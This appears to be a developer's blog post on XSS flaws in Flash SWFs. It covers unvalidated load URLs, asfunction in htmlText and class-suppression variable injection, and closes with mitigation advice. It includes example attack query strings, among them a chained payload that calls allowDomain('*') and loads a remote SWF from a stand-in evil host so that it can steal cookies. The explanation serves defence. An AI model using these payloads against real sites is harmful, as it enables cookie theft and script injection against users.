logga


xss vulnerabilities in flash

I saw this article linked from slashdot about xss vulnerabilities in flash. The article doesn’t say much about how the hacks are performed and I have not read the book but I can guess. Since it’s an xss exploit it probably about tricking a person to enter a page with some additional get variables that is passed to a swf on the page with flashvars or as get variables. Its really nothing new what I can see, maybe point 3 below is a litle bit unkown. But since a book (Hacking Exposed Web 2.0: Web 2.0 Security Secrets and Solutions) about it is coming it might be a lot of people that is going to try it out. The security holes can be used different depending on the setup.

1. Passing the url to load
php: host.swf?load=$_GET['load_url'];
as2: mc.loadMovie(_root.load_url);

This is most common on small applications as image viewers or preloaders. A variant of this is passing a variable to a xml with urls to load for instance playlists to images lideshows. Sometimes all the get variables are added to an existing getstring with a possible result:

php: host.swf?load=main.swf&text=hey&load=http%3A%2F%2Fevil.com%2Fhack.swf

which results in that the later is set as _root.load and a swf from another domain is loaded.

with System.security.allowDomain("*"); the loaded swf can execute a lot of funny stuff with the same privilege as the root swf. For instance steal and send cookies with javascript and since you can write code that crashed the browser you could probably do some really ugly arbitrary tricks. The allowDomain(”*”) is quite common in more complex systems where content are shared between domains and content are moved between domains during development, testing and authoring.

2. passing texts to be displayed.
php: host.swf?text=$_GET['text'];
as2: tf.htmlText = _root.text;

it’s not that common to pass the texts to be displayed as a get variable. It much more common thing is to pass a url to a xml with text to display. Since htmlText can contain asfunction you can trick the player to run code. Which make the trick as serious as the first example, possibly more since you can’t stop it with a restrictive allowDomain().

I’m not going to go into details about it, examples can be found at
http://events.ccc.de/camp/2007/Fahrplan/attachments/1320-FlashSec.pdf
http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

3. change the excution of the code.
You can inject variables that prevent the creation of classes in the memory.
host.swf?SomeClass=foo
As2 compiles to as1 which is a scriptlanguage and the creation of classes looks like
if(_global.SomeClass == undefined){
_global.SomeClass = ...
}

The variables sent to the swf makes the test if a class is added to memory to true and the real class is not used. And the lack of the right class can be used to make an attack. It might be possible to do some serious things with this but you have to decompile and find the right spots in the swf. An example could be removal of validation, if containsScriptSchemes is undefined all calls to it will be undefined which evaluates as false.

A possible scenario to sum it all up could be, use 3 to make it possible to run asfunctions described in 2. The asfunction to rewrite the allowDomain policy and then load a swf with full control from a remote domain, 1. I have not tried it, but something like this could be possible. It might sound hard to archive but the execution order fits quite good. A possible hack against a suitable target would be (with some escapes):

host.swf?as2DataValidation=foo&text='><img src='asfunction:System.security.allowDomain,"*"//.jpg'&load=http://evil.c/evil.swf

Well whats the solution then:

- The loudest on slashdot disables flash and call it evil. I don’t promote that solution since flash puts food on my table.

- Adobe wants you to install flashplayer 9.0.115.0. I don’t think its going to be done over the night unless youtube and myspace forces us all.

Since you can’t blame the stupid users clicking on all links sent to them its better to blame the lazy programmers and start there.

- Don’t send all the getvars directly to the swf. This is the central part of the exploit but it’s not suitable all the time.

- If you need to send all get variables, send them as one variable instead and write a function to retrieve them. host.swf?args=[text,hey,load,main.swf]

- Validate all texts sent to the swf before using them. Download http://code.google.com/p/flash-validators/ and use containsScriptSchemes to check for scripts. If you want to use asfunctions in htmlText you should hard code it and replace it into the text. But be aware of point 3 above.

- Be more restrictive with System.security.allowDomain(); We have all cursed the sandbox, but it keeps you safe.

- Consider not to use allowscriptaccess="always" attribute in the embed tag.

- use the __resolve to catch calls to undefined. This can result in unexpected behavior and might not help at all.

I might be all wrong about the security hole they are going to publish but the above might be useful anyway.

No Comments to “xss vulnerabilities in flash”

Comment on this post below


You can leave a response, or trackback from your own site.